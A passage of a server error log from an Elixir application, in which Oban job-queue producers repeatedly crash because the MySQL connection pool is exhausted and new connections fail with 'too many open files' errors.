  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:56:26.239031Z], limit: 5, uuid: "9f2d59bf-2a3d-4acd-a595-7ab0ce3a604f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:26.239035Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146009>, refresh_timer: #Reference<0.2525715032.1121189889.145968>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:56:26.240359Z], limit: 20, uuid: "24d6c1b2-0d70-4b5e-b065-112d7ae14dde", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:26.240365Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146010>, refresh_timer: #Reference<0.2525715032.1099431938.37361>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:56:26.240787Z], limit: 3, uuid: "61760f3d-7f6f-4240-bb46-1710201853f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:26.240792Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146011>, refresh_timer: #Reference<0.2525715032.1099431938.37370>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:56:26.238319Z], limit: 50, uuid: "4ef69ac9-c006-4d2d-922d-32d7aad3c708", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:26.238328Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.145947>, refresh_timer: #Reference<0.2525715032.1099431938.37346>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:56:26.239557Z], limit: 5, uuid: "0cf3dc49-9533-49c7-90e4-206b071290b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:26.239563Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146012>, refresh_timer: #Reference<0.2525715032.1068498948.39868>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:56:26.238941Z], limit: 10, uuid: "1bdc0545-aad3-4b55-8755-0e4a9b2c7f2b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:26.238947Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146008>, refresh_timer: #Reference<0.2525715032.1121189889.145965>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:38.714000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:40.856000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:43.816000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:43.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:44.779000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:46.134000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:46.428000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:49.786000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:56:38.239866Z], limit: 5, uuid: "a50b4c16-a633-47a4-81c1-cc0158a88369", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:38.239872Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.37392>, refresh_timer: #Reference<0.2525715032.1068498948.40065>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:56:38.239315Z], limit: 3, uuid: "a344f093-d69a-4946-bb1b-7ebcff15fb20", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:38.239320Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146374>, refresh_timer: #Reference<0.2525715032.1121189889.146342>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
